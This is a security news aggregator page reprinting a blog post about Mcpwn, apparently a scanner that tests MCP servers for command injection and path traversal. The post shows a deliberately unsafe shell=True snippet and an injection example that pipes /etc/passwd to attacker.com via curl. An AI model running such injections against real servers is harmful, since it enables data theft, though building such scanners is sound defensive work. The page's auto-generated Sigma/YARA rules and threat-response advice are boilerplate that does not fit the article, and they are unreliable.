Zum Hauptinhalt springen
Echtzeit-Radar & Feeds
Alle RSS Feeds ➔
👥 Community & Social
•
YouTube Security VideosNeil Patel: The 3-Search Test For Your Business #shorts(24.09.2026 um 20:04 Uhr)
•
YouTube Security VideosLinus Tech Tips: The One Apple Product I Fanboy Over(24.09.2026 um 20:18 Uhr)
•
YouTube Security VideosMicrosoft Mechanics: One Prompt Builds Your Copilot Agent(24.09.2026 um 20:15 Uhr)
••
Sichere ProgrammierungAI-powered fuzzing with the GitHub Security Lab Taskflow Agent(24.09.2026 um 20:26 Uhr)
•••
Sichere ProgrammierungBuilt an Agentic Fraud Investigator using(24.09.2026 um 20:15 Uhr)
•
Sichere ProgrammierungBuilding a fraud investigator that argues with itself(24.09.2026 um 20:15 Uhr)
••
YouTube Security VideosNeil Patel: The 3-Search Test For Your Business #shorts(24.09.2026 um 20:04 Uhr)
•
YouTube Security VideosLinus Tech Tips: The One Apple Product I Fanboy Over(24.09.2026 um 20:18 Uhr)
•
YouTube Security VideosMicrosoft Mechanics: One Prompt Builds Your Copilot Agent(24.09.2026 um 20:15 Uhr)
••
Sichere ProgrammierungAI-powered fuzzing with the GitHub Security Lab Taskflow Agent(24.09.2026 um 20:26 Uhr)
•••
Sichere ProgrammierungBuilt an Agentic Fraud Investigator using(24.09.2026 um 20:15 Uhr)
•
Sichere ProgrammierungBuilding a fraud investigator that argues with itself(24.09.2026 um 20:15 Uhr)
•
Intelligence View
⚡ tsecurity.de Intelligence

Building a Security Scanner for MCP Servers

Model Context Protocol (MCP) is Anthropic's new standard for connecting AI agents to external tools and data sources. As I started working with MCP servers, I realized something concerning: there's no automated security testing for…

0
↗ Quelle (dev.to)
Reagiere als Erste:r — dein Feedback zählt!

Model Context Protocol (MCP) is Anthropic's new standard for connecting AI agents to external tools and data sources. As I started working with MCP servers, I realized something concerning: there's no automated security testing for them.






The Problem



MCP servers provide AI agents with strong abilities, including file operations, command execution, and database access. One vulnerable tool can mean full system compromise. Manual code reviews often overlook injection vulnerabilities in tool arguments.



Here's what I found during a security review:




# Looks safe in code review, right?
def execute_command(command: str):
return subprocess.run(command, shell=True, capture_output=True)






The vulnerability? Tool arguments weren't sanitized. An AI agent could inject:




"ls; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"









Building Mcpwn



I built Mcpwn - an automated security scanner for MCP servers. The name is a play on "MCP pwn" (compromise).






Key Design Decisions



1. Semantic Detection Over Crash Detection



Instead of looking for crashes, Mcpwn analyzes response content for patterns:





  • uid=1000(user) → Command injection


  • root:x:0:0:root → Path traversal


  • -----BEGIN PRIVATE KEY → File read vulnerability

  • Timing deviations → Blind injection



2. Zero Dependencies



Pure Python stdlib. No pip install needed. This was critical for:




  • CI/CD integration (no dependency hell)

  • Security auditing (less attack surface)

  • Quick adoption (clone and run)



3. Structured Output



JSON and SARIF formats for AI analysis and CI/CD integration:




{
"summary": {
"total": 3,
"by_severity": {"CRITICAL": 2, "HIGH": 1}
},
"findings": [...]
}









Architecture



The scanner has three core components:




core/
├── pentester.py # Orchestrator (thread-safe, timeout handling)
├── detector.py # Semantic detection engine
└── reporter.py # JSON/HTML/SARIF reports









Attack Surface Coverage



Currently implemented:




  • Tool argument injection (RCE, path traversal)

  • Resource path traversal

  • Prompt injection (context confusion, delimiter breakout)

  • Protocol fuzzing (malformed JSON-RPC)

  • State desync attacks

  • Resource exhaustion



Detection example:




# Semantic detector checks response patterns
def detect_rce(response: str) -> bool:
patterns = [
r'uid=\d+\([^)]+\)', # Unix user ID
r'gid=\d+\([^)]+\)', # Unix group ID
r'root:x:0:0:root' # /etc/passwd
]
return any(re.search(p, response) for p in patterns)









Real-World Impact



During testing, Mcpwn found RCE vulnerabilities in production MCP servers - specifically tool argument injection patterns that manual code review missed.



Example finding:




$ python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp

[INFO] Found 2 tools, 0 resources
[WARNING] execute_command: RCE via command
[WARNING] Detection: uid=1000(user) gid=1000(user)
[INFO] Mcpwn complete









Usage



Quick scan (5 seconds):




python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp






Generate JSON report for AI analysis:




python mcpwn.py --output-json report.json <your-mcp-server>






CI/CD integration (SARIF format):




python mcpwn.py --output-sarif report.sarif <your-mcp-server>









AI-Assisted Security Workflow



Mcpwn is designed to work with AI assistants:





  1. Automated baseline scan → Mcpwn finds pattern-based vulnerabilities


  2. Structured output → JSON/SARIF for AI parsing


  3. AI deep analysis → Validates findings, finds logic flaws Mcpwn missed



This hybrid approach combines automated pattern matching with AI contextual understanding.






Lessons Learned



1. Semantic detection beats crash detection



Looking for uid=1000 in responses is more reliable than waiting for segfaults. Many vulnerabilities don't crash - they just leak data.



2. Thread safety is critical



MCP servers are concurrent. Request ID generation, health checks, and send operations all needed proper locking.



3. Timeouts everywhere



Default 10s timeout with configurable overrides. Quick mode uses 5s. Learned this after hanging on unresponsive servers.



4. False positives matter



Path traversal detection requires 2+ markers to reduce false positives. Single marker = too noisy.






What's Next



Planned features:




  • SSRF injection detection

  • Deserialization attack testing

  • Schema pollution checks

  • Auth bypass testing



Current limitations:



Mcpwn detects runtime exploits but misses:




  • Configuration vulnerabilities (exposed credentials)

  • Business logic flaws

  • Complex multi-step attack chains



Automated tools find known patterns. Manual review finds logic flaws. Use both.






Try It



GitHub: https://github.com/Teycir/Mcpwn



Quick start:




git clone https://github.com/Teycir/Mcpwn.git
cd Mcpwn
python3 mcpwn.py --help






MIT licensed, 45 passing tests, zero dependencies.






What security testing approaches have you found effective for AI agent infrastructure? Drop a comment below.

CTI Threat Relationship Graph4 Knoten / 3 Relationen
CVE / Incident Software MITRE ATT&CK CWE Weakness IoC
SOC Incident Playbook: Remote Code Execution (RCE) Defense
title: Detect Exploitation - Building a Security Scanner for MCP Servers
id: 7940dbd8-08fa-4bab-b727-6a7a6bddf348
status: experimental
description: Automatisch generierte SIEM-Erkennungsregel basierend auf CTI Intelligence
references:
  - https://tsecurity.de/
author: iShareStuff CTI Automated Detection Engine
date: 2026-09-24
logsource:
  category: network_connection
  product: any
detection:
  selection:
      CommandLine|contains:
        - 'exploit'
  condition: selection
falsepositives:
  - Legitime administrative Zugriffe oder Penetrationstests
level: high
tags:
  - attack.initial_access
  - attack.t1190
rule CTI_Threat_Indicator {
    meta:
        author = "iShareStuff CTI Automated Detection Engine"
        date = "2026-09-24"
        description = "YARA Signature for "
    strings:
        $str = "Building a Security Scanner fo" ascii wide
    condition:
        any of them
}
tsecurity.de Cognitive Threat RAG
Fokus-Vektor:

Kognitive Analyse für identifizierte Bedrohung: Erhöhte Bedrohungslage im Bereich Building a Security Scanner for MCP Serv.... Basierend auf 368k Vektor-Korrelationen werden sofortige Isolationsmaßnahmen für betroffene Endpunkte empfohlen.

🛡️ Angriffsfläche & Exposure

Netzwerk/Remote-Zugriff ohne Vorauthentifizierung möglich.

⚡ Empfohlene Sofortmaßnahmen
  • 1. Perimeter-Inspektion: Relevante Portfreigaben und exponierte Endpunkte unverzüglich scannen.
  • 2. Patch-Applikation: Hersteller-Hotfix einspielen oder betroffene Daemons in isolierte DMZ-Segmente überführen.
  • 3. Telemetrie & EDR-Alerts: Prozessaufrufe und Child-Processes auf anomale Shell-Spawns überwachen.
🔗 Semantisch verwandte Zero-Days MariaDB 11.7 VEC
Ähnliche Beiträge
🔍 Verwandte News

Auch interessante Nachrichten Building a Security Scanner for MCP Servers

Thematisch verwandte Begriffe: Building, Security, Scanner, Servers · 6 Treffer

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Laden...

Beiträge werden geladen ...

Laden...

Videos werden geladen ...

Zum Aktualisieren ziehen
ZERO-DAY CVE-2026-57175 | Python Social Auth is a social authentication/registration mechanism. Pr…
Advisory →
tsecurity.de Icon
Offline-Lesen, Eilmeldungen & 0ms Ladezeit

Installiere tsecurity.de direkt auf deinen Home-Bildschirm für das ultimative Vollbild-Magazinerlebnis ohne Browser-Leisten.

Nächster Beitrag
Themen-Radar & Intelligence Matrix
Echtzeit-Taxonomie nach Angriffsvektoren & Plattformen

tsecurity.de Live Threat Radar

🔴 LIVE RADAR
MONITORING
AKTIV
CVE-DATENBANK
LIVE
🔍
Community Radar & Live Chat
Sentinel Bot online • Live-Stream
Dein Cluster: Security Explorer
Match:
lädt…
Verbindung zum Community-Stream wird aufgebaut...
Bearbeitungsmodus — Senden überschreibt deine Nachricht
Community-Puls — was gerade passiert
lädt…
Aktivitäten deiner Analysten
lädt…
Neues Thema oder Eilmeldung einreichen

Reiche interessante Links, Zero-Days oder Debatten ein. Die Community entscheidet per Upvote über die Veröffentlichung.

Heiß diskutierte Einreichungen
📂 Keine gespeicherten Artikel vorhanden.
Zurück Ziehen Vor
Links: vorheriger Artikel • Rechts: nächster Artikel • unten: schließen
News NIS-2 Frühwarnung Tier-1 Intel TTP ⏱️ 3 Min vor 10 Min
Artikeldaten werden geladen...
↗ Original-Quelle